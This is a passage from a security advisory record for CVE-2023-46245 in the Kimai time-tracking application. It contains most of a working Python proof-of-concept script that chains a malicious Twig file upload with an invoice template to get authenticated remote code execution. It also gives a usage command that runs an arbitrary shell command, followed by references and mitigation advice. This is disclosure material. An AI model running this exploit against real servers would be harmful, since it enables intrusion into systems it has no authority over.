session)\n# create new project with customer_name\n\nget_project_token, customer_id, _, _, _ = get_csrf(\"/admin/project/create\", session)  \nproject_name = generate()\ncreate_project(get_project_token, project_name, customer_id, session)\n\n# create new activity \nget_activity_token, project_id, _, _, _ = get_csrf(\"/admin/activity/create\", session)\nactivity_name = generate()\ncreate_activity(get_activity_token, activity_name, project_id, session)\n\n# EXPLOIT\n######################\n\n# upload malicious file\nupload_token, _, _, _, _ = get_csrf(\"/invoice/document_upload\", session)\nupload_malicious_document(upload_token, session)\n\n# create malicious template to trigger the SSTI\nget_template_token, _, _, _, _ = get_csrf(\"/invoice/template/create\", session)\ntemplate = generate()\ntemp_id = create_malicious_template(get_template_token, template, session)\n\n# create a timesheet with project_id and activity_id\nactivity_customer_list = get_csrf(\"/timesheet/create\", session)[4]  # get the activity_customer_list from get_csrf function\n\nprint(f\"[+] Constructing renderer URLs..\")\n# iterate through all relative project_ids and customer_id for exploit stabiliy\nfor activity_id, customer_id in activity_customer_list:\n    csrf = get_csrf(\"/timesheet/create\", session)[0]  # Update CSRF token for each iteration\n    print(f\"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}\")\n    create_timesheet(csrf, activity_id, customer_id, session)\n    postData = {\n        \"searchTerm\": \"\",\n        \"daterange\": \"\",\n        \"state\": \"1\",\n        \"billable\": \"0\",\n        \"exported\": \"1\",\n        \"orderBy\": \"begin\",\n        \"order\": \"DESC\",\n        \"exporter\": \"pdf\"\n    }\n    # export timesheets so they appear in exported invoices\n    export = session.post(f\"{BASE_URL}/timesheet/export/\", data=postData).text\n    if \"PDF-1.4\" in export:\n        csrf, _, _, _, _ = get_csrf(\"/invoice/\", session)\n        # get preview token to construct the preview URL to trigger SSTI\n        csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f\"/invoice/?searchTerm=\u0026daterange=\u0026exported=1\u0026invoiceDate=1%2F1%2F1980\u0026performSearch=performSearch\u0026_token={csrf}\u0026template={temp_id}\", session)\n        for template_id in template_ids:\n            rendererURL = f\"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=\u0026daterange=\u0026exported=1\u0026template={temp_id}\u0026invoiceDate=\u0026_token={csrf}\u0026customers[]={customer_id}\"\n            # trigger the payload by visiting the renderer URL \n            rce = session.get(rendererURL)\n            \n            if \"PDF-1.4\" in rce.text:\n                print(rendererURL)\n                print(\"[+] successfully executed payload\")\n                # save the pdf locally since rendered URL will expire as soon as we end the session\n                pdf = f\"{generate()}.pdf\"\n                with open(pdf,\u0027wb\u0027) as pdfFile:\n                    pdfFile.write(rce.content)\n                    pdfFile.flush()\n                    pdfFile.close()\n                    print(f\"[+] Saved results with name: {pdf}\")\n                exit(1)\n\nprint(\"[-] Failed to execute payload, try to trigger manually..\")\n```\n\nwhich can be executed as such:\n```bash\n$ python3 spl0it.py http://localhost:8001/en admin password \"ls -la\"\n```\n\nthis will download the rendered file which will contain the results of the RCE:\n\n![kimaiRCE](https://user-images.githubusercontent.com/32583633/271780813-dd62020e-8ac8-4902-bc70-5503a9362e40.png)\n\n\n# Impact\n\nRemote Code Execution",
  "id": "GHSA-fjhg-96cp-6fcw",
  "modified": "2023-10-30T15:40:04Z",
  "published": "2023-10-30T15:40:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-fjhg-96cp-6fcw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46245"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/commit/38e37f1c2e91e1acb221ec5c13f11b735bd50ae4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kimai/kimai"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File"
}

Mitigation
Architecture and Design

Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.

Mitigation
Implementation

Use the template engine's sandbox or restricted mode, if available.

No CAPEC attack patterns related to this CWE.